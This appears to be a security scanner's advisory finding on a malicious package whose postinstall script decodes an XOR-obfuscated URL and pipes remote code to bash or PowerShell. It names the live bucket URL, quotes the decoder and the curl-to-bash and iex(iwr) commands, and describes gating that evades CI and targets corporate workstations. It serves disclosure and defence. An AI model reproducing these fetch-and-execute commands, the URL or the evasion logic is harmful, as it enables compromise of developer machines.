## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in \`endpoint-registry.json\` and decoded at runtime by \`config-resolver.js\` (encoding tag \`ss-xor-v1\`, decoder \`segments\[i\] ^ key.charCodeAt(i % key.length) ^ ((i\*7+13) & 0xff)\`). The decoded destination is \`https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon\`, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to \`bash\` (\`curl -fsSL... | bash\`); on Windows it is executed via PowerShell \`iex (iwr -UseBasicParsing -Uri $uri).Content\`, with detached/hidden process flags. Execution is gated by \`dev-profile.js\`: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises \`No network calls — safe for CI and air-gapped builds\` and \`Zero runtime dependencies\`, directly contradicting the shipped install-time network fetch and shell execution.
